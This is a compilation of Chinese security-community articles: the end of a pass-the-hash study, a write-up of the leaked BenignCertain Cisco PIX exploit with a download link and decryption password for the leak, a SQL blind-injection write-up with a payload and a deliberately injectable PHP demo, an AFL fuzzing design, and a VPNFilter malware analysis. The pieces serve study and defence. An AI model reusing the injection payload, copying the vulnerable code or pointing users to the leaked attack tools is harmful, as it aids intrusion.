* 4.主机之间的异常连接也可以表明攻击。人们应该寻找client-to-client或服务器到服务器的连接，以及来自同一单个IP地址的多个成功或失败的连接。
* 5."蜜罐"(Honeypots) 和 honeycreds 是有用的。来自意外IP地址的域复制可能表明了DCSync攻击。
* 6.最后，像Got-Responded之类的工具可被用来检测中间人攻击，如执行了NBT-NS，LLMNR或mDNS投毒的中间人攻击。
### 8\. Future Research
本Paper特别关注了 **"攻击者可获取主机访问权限"** 这种场景的PtH攻击。
未来的研究可以通过测试Section 7中讨论的安全措施的有效性，来扩展研究结果。
未来的研究可以识别针对这些保护的攻击：
例如绕过SMB Packet签名的攻击;
在WDCG下可进行的额攻击;
...
未来的研究可能包括相关的攻击技术:
例如通过物理访问进行的攻击;
从域控制器中做hash提取;
NTLMv2破解;
对Kerberos的攻击;
从流行的应用程序中提取凭据;
未来的研究可能包括 更多办法:
从"凭据管理器"(Credential Manager)中得到明文密码;
LSA Secrets;
受保护的存储(Protected Storage);
组策略首选项文件(Group Policy Preference files);
...
未来的研究可能包括 更多协议:
Section 6介绍了使用4种协议的PtH攻击。以后可以使用SQSH，HTTP Negotiate
Authentication/IWA，WinRM执行更多的测试。测试还可以涵盖RDP对中间人攻击的"脆弱性"(vulnerability)。
### 9\. Conclusions
本文分析了PtH攻击在windows 10 v1903环境下的可行性。
本文展示了几种hash提取技术。
本文演示了在哪些情况下攻击者可以使用这些hashes进行身份验证(各种协议下执行PtH攻击的条件和方法)。
本文说明了一个企业可以考虑使用的"安全管控"(security controls)措施，可以最大程度降低PtH攻击的风险。
最终，做了的这些测试证明了PtH攻击仍然是一个真正的威胁，每个企业都需要直面这种风险。
### References
Abraham, J. (2016). Broadcast Name Resolution Poisoning / WPAD attack vector.
Retrieved August 31, 2019, from
<https://www.praetorian.com/blog/broadcastname-resolution-poisoning-wpad-attack-vector>
Baggett, M. (2013). SMB Relay demystified and NTLMv2 pwnage with Python.
Retrieved
September 1, 2019, from <https://pen-testing.sans.org/blog/2013/04/25/smb-relaydemystified-and-ntlmv2-pwnage-with-python>
Berg, L. (2019). What is DCSync? An introduction. Retrieved August 31, 2019,
from
<https://blog.stealthbits.com/what-is-dcsync/>
Byt3bl33d3r. (2017). Practical guide to NTLM Relaying in 2017 (a.k.a getting a
foothold
in under 5 minutes). Retrieved August 31, 2019, from
<https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-akagetting-a-foothold-in-under-5-minutes.html>
Byt3bl33d3r. (2018). CrackMapExec - SMB command reference. Retrieved
September 11, 2019, from
<https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference>
Chandel, R. (2017). 4 ways to capture NTLM hashes in network. Retrieved
August 31, 2019, from <https://www.hackingarticles.in/4-ways-capture-ntlmhashes-network/>
Damele, B. (2011a). Dump Windows password hashes efficiently - Part 1.
Retrieved
July 12, 2019, from <https://bernardodamele.blogspot.com/2011/12/dumpwindows-password-hashes.html>
Damele, B. (2011b). Dump Windows password hashes efficiently - Part 2.
Retrieved
July 12, 2019, from <https://bernardodamele.blogspot.com/2011/12/dumpwindows-password-hashes_16.html>
Damele, B. (2011c). Dump Windows password hashes efficiently - Part 5.
Retrieved
July 14, 2019, from <https://bernardodamele.blogspot.com/2011/12/dumpwindows-password-hashes_28.html>
Delaunay, J. C. (2017). DPAPI exploitation during pentest and password
cracking.
Retrieved July 12, 2019, from
<https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf>
Delpy, B. (2014). Overpass-the-hash. Retrieved September 2, 2019, from
<http://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash>
Deneut, T. (2018). Retrieving NTLM hashes and what changed in Windows 10.
Retrieved
July 3, 2019, from <https://www.insecurity.be/blog/2018/01/21/retrieving-ntlmhashes-and-what-changed-technical-writeup/>
Duckwall, A., & Campbell, C. (2012). PTH with MSSQL and FreeTDS/SQSH.
Retrieved
September 2, 2019, from <https://passing-the-hash.blogspot.com/2012/08/pth-withmssql-and-freetdssqsh.html>
Ewaida, B. (2010). Pass-the-Hash attacks: tools and mitigation. SANS Institute
Information Security Reading Room.
Fortuna, A. (2018). Retrieving NTLM hashes without touching LSASS: the
“Internal Monologue” attack. Retrieved August 24, 2019, from
<https://www.andreafortuna.org/2018/03/26/retrieving-ntlm-hashes-withouttouching-lsass-the-internal-monologue-attack/>
Gombos, P. (2018). LM, NTLM, Net-NTLMv2, oh my! A pentester's guide to Windows
hashes. Retrieved July 11, 2019, from <https://medium.com/@petergombos/lmntlm-net-ntlmv2-oh-my-a9b235c58ed4>
Green, A. (2017). Windows 10 authentication: the end of pass the hash?
Retrieved
July 6, 2019, from <https://www.varonis.com/blog/windows-10-authentication-theend-of-pass-the-hash/>
Januszkiewicz, P. (2017). Cached credentials: important facts that you cannot
miss.
Retrieved July 13, 2019, from <https://cqureacademy.com/blog/windows-internals/cached-credentials-important-facts>
Joyce, K. (2019a). Defender Credential Guard: protecting your hashes.
Retrieved August 30, 2019, from <https://blog.stealthbits.com/defender-credential-guard-protecting-your-hashes/>
Metcalf, S. (2015a). Mimikatz DCSync usage, exploitation, and detection.
Retrieved
August 31, 2019, from <https://adsecurity.org/?p=1729>
Metcalf, S. (2015b). Unofficial guide to Mimikatz & command reference.
Retrieved
September 6, 2019, from <https://adsecurity.org/?p=2207>
Microsoft. (2014). Mitigating Pass-the-Hash (PtH) attacks and other credential
theft
techniques. Retrieved September 6, 2019, from
<https://www.microsoft.com/en-us/download/details.aspx?id=36036>
Microsoft. (2016). Protected Users security group. Retrieved September 6,
2019, from
<https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group>
Microsoft. (2017). Network security: Restrict NTLM: NTLM authentication in
this
domain. Retrieved July 13, 2019, from
<https://docs.microsoft.com/enus/windows/security/threat-protection/security-policy-settings/network-security>
-restrict-ntlm-ntlm-authentication-in-this-domain
Microsoft. (2017). Protect derived domain credentials with Windows Defender
Credential Guard. Retrieved August 30, 2019, from
<https://docs.microsoft.com/en-gb/windows/security/identity-protection/credential-guard/credential-guard>
Microsoft. (2019). Active Directory administrative tier model. Retrieved
September 6, 2019, from
<https://docs.microsoft.com/en-us/windowsserver/identity/securing-privileged-access/securing-privileged-access-reference-material>
Microsoft (n.d.-a) Compare Windows 10 editions. Retrieved August 30, 2019,
from
<https://www.microsoft.com/en-us/WindowsForBusiness/Compare>
Microsoft (n.d.-b). Windows 7 End of Support 365. Retrieved July 6, 2019, from
<https://www.microsoft.com/en-us/microsoft-365/windows/end-of-windows-7-support>
Munro, K. (2013). Pass the hash. SC Magazine: For IT Security Professionals.
Panayi, C. (2018). Passing-the-Hash to NTLM authenticated web applications.
Retrieved September 2, 2019, from
<https://labs.mwrinfosecurity.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/>
Joyce, K. (2019b). WDigest clear-text passwords: stealing more than a hash.
RetrievedSeptember 3, 2019, from
<https://blog.stealthbits.com/wdigest-clear-text-passwords-stealing-more-than-a-hash/>
Lundeen, R. (2014). MSCash hash primer for pentesters. Retrieved July 12,
2019, from
<https://webstersprodigy.net/2014/02/03/mscash-hash-primer-for-pentesters/>
Metcalf, S. (2015a). Mimikatz DCSync usage, exploitation, and detection.
Retrieved
August 31, 2019, from <https://adsecurity.org/?p=1729>
Metcalf, S. (2015b). Unofficial guide to Mimikatz & command reference.
Retrieved
September 6, 2019, from <https://adsecurity.org/?p=2207>
Microsoft. (2014). Mitigating Pass-the-Hash (PtH) attacks and other credential
theft
techniques. Retrieved September 6, 2019, from <https://www.microsoft.com/en-us/download/details.aspx?id=36036>
Microsoft. (2016). Protected Users security group. Retrieved September 6,
2019, from
<https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group>
Microsoft. (2017). Network security: Restrict NTLM: NTLM authentication in
this domain. Retrieved July 13, 2019, from
<https://docs.microsoft.com/enus/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain>
Microsoft. (2017). Protect derived domain credentials with Windows Defender
Credential Guard. Retrieved August 30, 2019, from
<https://docs.microsoft.com/en-gb/windows/security/identity-protection/credential-guard/credential-guard>
Microsoft. (2019). Active Directory administrative tier model. Retrieved
September 6, 2019, from <https://docs.microsoft.com/en-us/windowsserver/identity/securing-privileged-access/securing-privileged-access-reference-material>
Microsoft (n.d.-a) Compare Windows 10 editions. Retrieved August 30, 2019,
from
<https://www.microsoft.com/en-us/WindowsForBusiness/Compare>
Microsoft (n.d.-b). Windows 7 End of Support 365. Retrieved July 6, 2019, from
<https://www.microsoft.com/en-us/microsoft-365/windows/end-of-windows-7-support>
Munro, K. (2013). Pass the hash. SC Magazine: For IT Security Professionals.
Panayi, C. (2018). Passing-the-Hash to NTLM authenticated web applications.
Retrieved
September 2, 2019, from <https://labs.mwrinfosecurity.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/>
Renard, J. (2017). _Puff_ _Puff_ PSExec. Retrieved July 5, 2019, from
<https://www.toshellandback.com/2017/02/11/psexec/>
Robertson, K. (2018). Invoke-TheHash. Retrieved September 2, 2019, from
<https://github.com/Kevin-Robertson/Invoke-TheHash>
Ronin. (2014). Passing the hash with remote desktop. Retrieved September 2,
2019, from
<https://www.kali.org/penetration-testing/passing-hash-remote-desktop/>
Schroeder, W. (2017). Pass-the-Hash is dead: long live
LocalAccountTokenFilterPolicy.
Retrieved September 1, 2019, from <https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167>
Shamir, E. (2018). Internal monologue attack: retrieving NTLM hashes without
touching
LSASS. Retrieved July 14, 2019, from <https://github.com/eladshamir/Internal-Monologue>
Siddhu, Y. (2016). Cracking NTLMv2 responses captured using Responder.
Retrieved
August 27, 2019, from <https://zone13.io/post/cracking-ntlmv2-responses-captured-using-responder/>
Solino, A. (2019). Playing with relayed credentials. Retrieved September 9,
2019, from
<https://www.secureauth.com/blog/playing-relayed-credentials>
Stankovic, B. (2017). Stealing Windows credentials using Google Chrome.
Retrieved
September 11, 2019, from <https://defensecode.com/news_article.php?id=21>
Strand, J. (2018a). Computer and Network Hacker Exploits Part 3. In
SEC504_4_D03_01 | Hacker tools, techniques, exploits, and incident handling.
SANS Institute.
Strand, J. (2018b). Workbook. In SEC504_W_D03_01 | Hacker tools,
techniques,exploits, and incident handling. SANS Institute.
VandenBrink, R. (2019). Mitigations against Mimikatz style attacks. Retrieved
September 7, 2019, from
<https://isc.sans.edu/forums/diary/Mitigations+against+Mimikatz+Style+Attacks/24612/>
Warren, J. (2019). How to detect Pass-the-Hash attacks. Retrieved September 6,
2019, from <https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/>
Willett, T. (2016). Hacking the local passwords on a Windows system. Retrieved
July 13, 2019, from <https://pigstye.net/forensics/password.html> | 社区文章 |
# BenignCertain：一款可以远程提取思科VPN密钥的黑客工具（含泄漏文件下载地址）
|
##### 译文声明
本文是翻译文章
原文地址：<https://musalbas.com/2016/08/18/equation-group-benigncertain.html>
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**一、前言**
一转眼，我们又来到了这个熟悉又陌生的星期五了。在过去的这一周，网络安全领域中最“吸睛”的事件肯定非“NSA被黑事件”莫属了。美国时间2016年8月15日，一个名为“The
Shadow
Brokers”的黑客组织泄漏了大量黑客工具，并且他们还声称这些黑客工具是由美国国家安全局开发的。如果你还不了解这一事件的话，可以访问我们[安全客的官方网站](http://bobao.360.cn/)以了解详情。
**二、泄漏文件如何获取？**
基本的内容铺垫工作已经完成，接下来就不废话了，直接进入正题。
“The Shadow Brokers”此次公布的文件主要分为两个tar压缩文件：其中一个文件名为“eqgrp-free-file.tar.xz.gpg”，这份文件的解压密码为“theequationgroup”；另外一个压缩文件为“eqgrp-auction-file.tar.xz.gpg”。从“The Shadow Brokers”所想表达的意思来看，文件“eqgrp-auction-file.tar.xz.gpg”中应该包含有更多“劲爆”的内容。在比特币拍卖活动结束之后，这份文件的解压密钥将会提供给竞价最高的人。不过鉴于目前外界对这份文件有着各种各样的猜测，那么这份文件的真实价值到底有多少呢？也许只有那位竞价最高的人才会知道了。
目前大家可以从MEGA网盘下载这份文件，但是我们估计这份文件可能马上就会被删除了（就像GitHub一样），所以感兴趣的读者请赶紧将文件下载下来保存好。截止本篇文章发稿前，这个地址仍然是可访问的，如果读者们发现地址已经失效了，可以在文章下方留下邮箱地址，小编会在看到回复后的第一时间将原始文件发送至您的邮箱。
MEGA网盘下载地址：[EQGRP-Auction-Files.zip](https://mega.nz/#!zEAU1AQL!oWJ63n-D6lCuCQ4AY0Cv_405hX8kn7MEsa1iLH5UjKU)（234.9MB）
下载完成之后，大家可以对比“sha256sum.txt”文件中提供的校验码来查验文件是否是原始文件。
光有解压密码（“theequationgroup”）是无法解密文件“eqgrp-free-file.tar.xz.gpg”的。由于文件采用了GPG算法来进行压缩加密，所以我们需要下载专用的工具来解压文件。
解压工具下载地址：[点击下载](https://www.gnupg.org/download/)（工具支持Windows/OS
X/Linux/Android等主流操作平台）
工具的使用方法在这里就不进行讲解了，感兴趣的读者请自行搜索解决。将压缩文件“eqgrp-free-file.tar.xz.gpg”解压之后，我们将会得到下列文件：
你会发现，根目录的目录名称为“Firewall”，即“防火墙”。看来这些文件的确和“The Shadow
Brokers”描述的一样，这些都是针对防火墙设备的黑客软件。点击“TOOLS”文件夹，你就会看到我们今天的主角了－“BenignCertain”。
注：如果各位对这份文件中其他的黑客工具感兴趣的话，请在评论下方留言，我们会给大家带来详细的后续报道！
在对BenignCertain工具进行讲解之前，先简单介绍一下“Firewall”目录下的其他工具。
－BANANAGLEE：针对Cisco和Juniper防火墙设备的攻击工具，可以用于在目标设备中植入恶意后门；
－BARGLEE：针对Juniper Netscreen设备的攻击工具；
－BLATSTING：用于穷举爆破的工具；
－BUZZDIRECTION：远程控制脚本；
－EXPLOITS：针对各个目标系统的漏洞利用代码；
－OPS：攻击过程中需要使用到的一些操作工具；
－SCRIPTS：攻击脚本资源；
－TOOLS：攻击辅助工具包；
－TURBO：针对不同设备的原始攻击代码；
注：对其他文件的感兴趣的读者可以点击[这里](https://musalbas.com/2016/08/16/equation-group-firewall-operations-catalogue.html)了解更多的详细内容。
**三、今天的主角－BenignCertain**
通过本文的第二步操作，我们获取到了“BenignCertain”目录下的数据。那么这一个黑客工具到底有什么用呢？首先，我们看看该目录下到底有哪些文件。
为了解答这个问题，安全研究专家对这份工具进行了详细的分析。分析结果显示，这是一款针对思科PIX防火墙设备的远程漏洞利用工具。该工具可以向目标设备发送一个Internet密钥交换（IKE）数据包，并通过该数据包导出目标设备内存中的数据。攻击者在得到这些内存数据之后，便可以从中提取出RSA私钥和其他的一些敏感配置信息（例如防火墙的VPN配置信息）。
值得注意的是，这份黑客工具针对的是5.2(9)至6.3(4)版本的思科PIX防火墙，而这些版本的思科PIX产品早就已经停用了，所以这份工具实际上并不会产生多大的效应。
这份漏洞利用工具主要由三个二进制文件组成，每一个文件代表着漏洞利用过程中的一步单独操作。
首先，我们的第一步是执行“bc-genpkt”程序。这一步操作会生成一个IKE数据包，数据包的大小是可以任意指定的，其大小必须大于96字节，小于65536字节。除此之外，数据包中的部分内容也可以由攻击者控制。
在第一步操作中，我们生成了一个数据包文件，这份文件可以作为二进制文件“bc-id”的输入数据，“bc-id”负责将数据包发送至目标主机。
在对“bc-id”的源代码进行了分析之后，安全研究专家们发现，这个程序似乎会操作目标设备的内存数据，并在目标主机的响应信息中搜索目标数据。但是，安全专家Hector
Martin认为，其中有部分代码是完全没有任何实际意义的。
随后，“bc-id”程序会输出一个文件，然后这个文件又会作为“bc-parser”程序的输入数据。而“bc-parser”程序主要负责对目标主机返回的响应数据进行解析处理。
“bc-parser”程序二进制代码中的字符串显示，该工具所提取出的信息中包含有目标主机中VPN的详细配置数据和RSA私钥。
值得注意的是，“bc-parser”程序还可以读取目标主机的内存数据。
除了上述的程序之外，该工具的目录下还包含有很多针对不同加密算法的payload。安全研究专家Maksym
Zaitsev发现，该工具在其payload中还使用了ISAKMP协议（因特网安全协议与密钥管理协议）。
Maksym Zaitsev表示：“该工具会使用ISAKMP协议和AES、DES或者3DES等加密算法来加密其攻击payload。”
**四、总结**
思科公司在前两天正式宣布修复了两个与此次事件相关的漏洞，其中还包括一个0 day漏洞在内。从这一点看来，“The Shadow
Brokers”此次泄漏的数据真实度非常高。再加上越来越多的安全专家开始对泄漏文件进行分析，随着时间的推移，事件的脉络也会愈发变得清晰。安全客也会在第一时间给大家带来与此次“NSA被黑事件”相关的最新报道。 | 社区文章 |
### 0x00 记忆方式
> case when 15 like '1%' then 0 else 2*1e308 end
### 0x01 前言
在一次日常的web安全检测时发现的一个sql注入，刚开始是直接扔sqlmap里面的，后面发现sqlmap对于这个站是怎么样都无法正常的检测注入
如下图：
而手工检测是可以注入但是人家返回的是你输入的内容,也就是不会有数据库的数据返回
这就很蛋疼了,并且通过这个网站的一处输入与输出的地方，我还知道了，他会全局把
`(` `)`过滤为`[` `]`这就说明我们注入的时候是没有函数可以给我们使用的，也解释了为什么sqlmap会检测不出来。
如下图：
好了前言介绍完了，剩下的就是与项目无关了
最后在实战时，发现可以使用 union + case when
来进行布尔盲注获取数据，也就是通过他，我的项目成功通过了，我们在本地模拟一下，因为在发肯定会漏，而且也不好理解
### 0x02 演示代码
我在本地写了几行代码，模拟线上的情况。
<?php
$id = @$_GET['id'];
$dsn = "mysql:host=127.0.0.1; port=3306; dbname=test; charset=utf8";
$user = 'root';
$psw ='root';
$pdo = new PDO($dsn, $user, $psw);
$sql = 'select * from test';
if (!empty($id)) {
$id = str_replace("(", "[", $id);
$id = str_replace(")", "]", $id);
} else {
exit;
}
$sql .= ' where ' . 'id = ' . $id;
echo 'sql:' . $sql;
echo '<br/>';
echo '<br/>';
echo '<br/>';
//进行查询数据库出问题则报具体错误
$query = $pdo->query($sql);
$res = @$query->fetch();
if ($res) {
// 这里写访问记录+1 但是我不想写，所以就直接把那个+1的流程去掉了
echo 'studio_one_hour_pageview_' . $id . '_53aa9d8bcf7749bdb0bbajksbdjkasbd';
}
### 0x03 测试
好了其实前面都是在凑字数的 : )
后面发现我们可以使用这种方法来进行注入
例如查库名： | 社区文章 |
## 方案背景
对于网络服务程序的模糊测试，当前的解决方案主要有：hook libc
socket调用、修改afl、修改网络程序等，其中无论哪种方式，几乎都需要修改网络服务程序。
AFLplusplus的开发者在仓库中推荐使用[hook
socket](https://github.com/AFLplusplus/AFLplusplus/tree/stable/utils/socket_fuzzing)
的方案，这种方案灵感来源于[preeny](https://github.com/zardus/preeny)。基于 `LD_PRELOAD` hook
libc中socket相关的函数将网络流转换为标准输入的IO，但是这种方案在一些复杂的网络程序中并不一定通用。
以nginx为例，在nginx启动后，程序会持续运行并监听对应的网络端口，如果没有异常并不会主动退出。而AFL需要每次重新启动程序，在这种场景下进行测试时就需要修改nginx的源代码。
另一个较为自然的方案是直接修改AFL传递输入的方式。这种方式中比较有代表性的是Monash
University的研究者提出的[aflnet](https://github.com/aflnet/aflnet)。aflnet在afl的基础上，将标准输入修改为网络发包的方式，并加入了网络传输的功能，可以较为高效的测试网络服务程序。
但是afl的分支众多，有着不同的优劣势，也有着不同的应用场景。基于修改AFL的方案在移植其它优化策略时需要较大的工作量，另外aflnet同样需要对待测程序进行一定的修改以适应测试。
效率最高的方案是直接修改网络程序，调用对应的解析函数来进行测试，以bind9为例，其代码中就专门提供了用于Fuzz的[部分](https://github.com/isc-projects/bind9/tree/main/fuzz)。这种方式直接获取标准输入，传入核心函数中进行测试。这种方式的缺陷在于需要较为了解程序，且需要对目标程序进行定制开发。
## 解决方案
那么能不能找到一种相对简单的方案，能够在不对AFL或者目标程序进行修改的基础上，较为简单的测试网络服务程序呢？
考虑到AFL读取覆盖率是通过共享内存的方式，一个解决思路是，并不直接通过AFL启动程序，而是AFL启动辅助程序，AFL将标准输入传输辅助程序，辅助程序和网络程序进行交互。
具体来说，AFL启动辅助程序，辅助程序检查网络程序是否启动，若未启动，则启动待测的网络服务程序。此时 `__AFL_SHM_ID`
环境变量将传输待测网络服务程序中，基于AFL插桩的网络服务程序在测试时同样会记录覆盖率信息到当前的共享内存中。
每次进行新的测试时，辅助程序重复读取输入、将输入通过网络发送至目标网络服务程序的流程。而网络服务程序则不需要在启动流程中浪费运行时间，达到类似
`persistent mode` 的效果。
另外当网络服务程序失去响应时，辅助程序主动crash，使得AFL记录对应的crash输入。
程序的运行流程如下图所示：
最后，基于这种思路，完成了一个简单的实现，可以在[这里](https://github.com/lylemi/aflnw)查看。
## 参考链接
* [AFLplusplus](https://github.com/AFLplusplus/AFLplusplus)
* [preeny](https://github.com/zardus/preeny)
* [aflnet](https://github.com/aflnet/aflnet) | 社区文章 |
作者：启明星辰ADLab
#### 一、威胁概述
近期，思科Talos团队因情况紧急提前公开了一项未完成的研究，该研究提及了一个可能对全球网络产生重大危害的高级威胁攻击(大约有50万台设备受到感染)，由于其核心模块文件为VPNFilter，故该恶意代码也被命名为”VPNFilter”。该攻击是一起以入侵物联网为载体从事可能由国家发起的全球性的高级恶意软件攻击，恶意软件通过三个阶段来部署其攻击武器，目前已经有至少50万台设备受到感染。攻击者利用该恶意软件来控制并监视处于工控网络、办公环境中的网络设备(包含路由器、网关、防火墙以及其他的物联网设备)，其支持工控网络情报收集、重要敏感的流量(登录凭证)截取、流量篡改、定向JS注入、设备破坏性攻击等功能。
恶意软件在5月8日出现大规模的以乌克兰为主要目标的攻击活动，并且在5月17日乌克兰的受感染设备出现大幅度增加，这些受感染设备均受控于C&C
46.151.209.33,
看起来此次攻击目标似乎瞄准乌克兰。乌克兰电力系统曾经受到过两次黑客攻击，并且导致了停电事故，两次攻击均以持久而隐秘的渗透手段入侵到目标。而这次的攻击活动以物联网入口，利用大量存在漏洞的物联网设备作为载体进行撒网式攻击，并且以惊人的速度感染了至少50万台设备，其中包含有华为、中兴、华硕、Dlink、Ubiquiti、UPVEL、Linksys、MikroTik、NETGEAR
和 TP-Link等设备。同样，此次恶意代码与2015年攻击乌克兰电网的BlackEnergy使用相同的变形RC4算法对关键信息进行加密；并且与之类似的是同样也有对主机设备进行重要数据擦除与重启的连环动作以达到让设备无法启动的目的(同时也提高了取证的难度)。
启明星辰ADLab发现该预警后对该恶意软件进行了深入的分析，以剖析其实现机制。我们发现该恶意软件中除了采用图片文件的EXIF数据传输用于下载恶意代码核心组件的C&C外，还采用HTTP头中的location和direct字段传输该C&C，甚至采用了一种我们称之为”SYN隧道技术”的高级隐藏技术来实现恶意软件C&C的被动更新，即使如之前所报道那样，FBI阻断了该恶意软件的C&C，该技术也可以让该恶意软件快速复活。其中第三阶段恶意组件专门针对TCP协议进行嗅探处理，不仅对工控modbus
SCADA协议进行情报收集，同时还会嗅探基于http协议的登录凭证信息和Authorization信息。该嗅探模块需要黑客远程指定modbus服务器进行精确的监控，以发现所有连接的从机设备。此外，在最近公开的攻击插件模块中还可以看出，该次攻击可用于广泛的情报收集以及对特定目标进行渗透攻击，其中包含对80端口的流量重定向、强制转换HTTPS为HTTP以方便流量监控、窃取HTTP请求包中的登录凭证信息、向指定网站的响应数据中注入恶意javascript脚本等等。
#### 二、恶意软件工作原理
该恶意软件通过利用路由器、网关、防火墙等物联网设备漏洞进行广泛的感染和传播。在感染设备中，其首先启动一个Loader模块执行，该模块主要实现了VPNFilter组件的下载与执行。Loader模块并不是直接通过指定的下载地址来下载VPNFilter组件，而是通过多种技术手段来获取VPNFilter的下载地址(存储点)。其首先会向服务器photobucket.com发送请求并尝试解析响应数据中的Locaion、direct、图片EXIF信息来获取；如果失败则向服务器taknowall.com发送请求并解析图片的EXIF来获取；如果仍然无法获取到C&C，则会采用”SYN隧道技术”来获取C&C实现下一个阶段组件的下载地址。此外，VPN存储点获取成功后，Loader通过内置SSL证书文件来验证下载VPNFilter组件。
VPNFilter组件最后会被下载到”/var/run/”目录下，是该类恶意攻击的核心组件，通过该组件，恶意软件得以驻留在被感染系统中。VPNFilter组件为攻击者提供了一个用于维护僵尸网络的框架，攻击者可以基于不同的攻击目的加载不同的插件和执行不同远控控制命令。目前所发现的插件模块有：一个用于支持连接到Tor网络的Tor
客户端（Tor Client,文件tor）；一个为嗅探登录凭证和Modbus工控协议信息的TCP流量嗅探模块（TCP Traffic
Sniffer，文件ps）;一个专门为HTTP 80端口进行流量监控、截取、篡改、注入的HTTP 流量监控模块（HTTP Traffic
Controllor，文件ssler）；以及可用于破坏设备使其无法重启、无法取证的设备破坏模块（Destroy
Module，文件dstr），此外其还存在其他的模块如：mikrotik.o、torrc、ip_tables.ko、iptable_filter.ko、iptable_nat.ko。
#### 三、恶意软件剖析
根据该恶意软件执行攻击的步骤，可以将其划分为三个阶段，其中Loader文件为第一个阶段的恶意模块，VPNFilter文件为第二阶段的恶意模块，Tor客户端和流量嗅探器为第三阶段的恶意模块。以下分别对这三个阶段的恶意代码进行深入的剖析。
##### 第一阶段：感染设备并下载恶意代码主体执行
第一个阶段的样本可以看作是一个Loader（文件名为msvf），攻击者利用设备漏洞将其落地到设备内存中运行。该Loader主要目的是从C&C服务器上下载第二阶段的恶意组件执行。该Loader不同于以往的物联网恶意代码那样将C&C内置于代码内，而是通过在合法图片网站上下载一张隐藏有C&C地址的图片进行解析，从而得到真实的C&C。而恶意代码为了防止流量追踪，采用socks5代理、Tor、以及ssl的方式进行该图片的下载。如果图片下载失败，也会采用极其隐蔽的原始流量数据嗅探的方式来获取C&C。
同时该模块还试图修改NVRAM并将自身加入定时任务文件”crontab”中，以达到常驻的目的。一般物联网恶意代码如mirai等没有涉及常驻机制，使得其在设备重启后会消失。
1.两次创建子进程并且启用恶意代码对当前用户组的读写执行权限
第一阶段样本执行后，会fork两次，第一次用于清理进程资源启用读写执行权限。
第二次fork会在子进程中确认进程文件是否存在，如果不存在会进行文件的回写，防止进行文件丢失。
此外在第二次fork的子进程中，恶意代码为了防止自身文件在设备重启后消失，还会将自身文件加入到crontab文件末尾，以实现开启启动、常驻设备的目的。
2.解密证书文件名、图片链接数据等内容
接下来恶意代码会通过变形的RC4算法来解密后续要用到的字符串和数据，变形RC4秘钥为`“%^:d”`，最新版本已经更新为`“g&*kdj$dg0_@@7’x”`。
变形RC4的stable数据如下：
最后解密得到如下信息，其中包含证书文件名、版本号、build信息、图片url等。
解密url：
3.创建ssl证书文件以及恶意代码版本文件
解密完成后，恶意代码会将代码中内嵌的公钥、私钥数据存储在证书文件中。该恶意代码中存放有三个证书数据，其中两个公钥和一个私钥，公钥存储在文件`“/var/run/client_ca.crt”`和`“/var/run/client.crt”`中，私钥存储在文件`“/var/run/client.key”`中。
此外，版本信息0.3.9qa会被写入到文件/var/run/msvf.pid中。
4.下载第二阶段组件
第二阶段的恶意代码下载地址采用三种方式获取。首先尝试从photobucket网站请求C&C，具体按照如下链接顺序去下载并提取第二阶段恶意代码的服务器地址。
<http://photobucket.com/user/nikkireed11/library>
<http://photobucket.com/user/kmila302/library>
<http://photobucket.com/user/lisabraun87/library>
<http://photobucket.com/user/katyperry45/library>
虽然当前这些链接已经失效，但是通过逆向可以看出，如果请求响应码为302，恶意代码则会从响应数据中的”Location”/”location”参数中提取出第二阶段恶意代码的下载地址。
如果恶意代码请求的响应码为200，则会从请求的响应数据包的HTTP头部中提取”direct”参数的值，作为第二阶段恶意代码下载地址。
如果不存在该值，则会从图片文件中的EXIF域提取经纬度数据并将其转换为第二阶段恶意代码下载的IP地址。下载的图片文件EXIF部分数据类似下图。
处理代码如下：
如果以上情况均失败，恶意代码还会尝试请求如下链接，该链接也是一张图片，和上面方法一样从EXIF中提取经纬度并处理得到下载地址。
<http://taknowall.com/manage/content/update.php>
如果上面的所有方式都尝试后依然无法成功获取C&C地址，恶意代码会通过链接<http://api.ipify.org?format=json>获取到当前设备的外网IP地址，然后嗅探当前设备的原始网络流量数据，并试图从这些流量数据中过滤出符合特定格式的网络数据包，如果满足格式要求，便会从该数据中提取出第二阶段恶意代码的下载地址。其中过滤包时需满足如下条件：
1. 原始数据流长度必须大于0x3D
2. 数据包必须为TCP包
3. 数据包的SYN必须被设置
4. 目的IP必须为当前设备的公网IP
5. Tcp Option的MSS(Maximum Segment Size) 必须为0c 15 22 2B（实际上为非法MSS）
如果满足以上条件，则从MSS之后的4个字节提取出C&C的IP地址。我们将这种以SYN
TCP数据流作为数据传输的技术成为”SYN隧道技术”。利用该种技术来传输C&C地址不仅能够很好隐秘黑客的踪迹(无需在恶意代码逆向或者网络存储点上暴露黑客C&C地址)，而且能够灵活的变换C&C，非常难以被发觉。因此，可以说样本中任何内置C&C或者存储C&C的存储点被处置后，该恶意代码仍然可以受控于黑客。这给执法部门处置该恶意代码带来了巨大挑战。原始流的部分判定代码如下：
如果以上任何一种方式能够成功获取到下载地址并且下载组件成功，恶意代码便会直接执行所下载恶意代码，然后退出。下载的第二阶段的恶意代码被保存为文件”/var/vpnfilter”。
##### 第二阶段：控制命令接收、分发、执行
该样本以实现后门控制为目的，其主要用于连接控制端服务器，接收控制命令执行相应的功能控制。样本首先为了确保运行实体的唯一性，会绑定1386端口。如果该端口被占用便会终止运行。此外在新版本中不再通过这种容易自我暴露的方式来做唯一性判定，并且添加了自我删除的功能。
如果绑定成功，便会进入核心工作代码中执行。首先为了防止因CPU资源不足、平台兼容性等问题导致无法工作或者退出，其还注册了大量异常信号用于自我复活。
然后采用同样的变形RC4算法和秘钥来解密关键字符串以供后续使用。接下来会完成后续安装配置流程。
首先检测ssl证书文件是否存在，如果不存在，其会处于等候状态，直到证书文件安装完成。否则开始配置工作目录、设置代理地址、设置Tor网络地址、获取外网IP地址、MAC地址、网络名称等信息。下图为部分安装信息。
接下来创建工作目录/var/run/xxm/及/var/run/xxw并开启主循环，向控制端请求控制命令并且执行相应的控制功能。
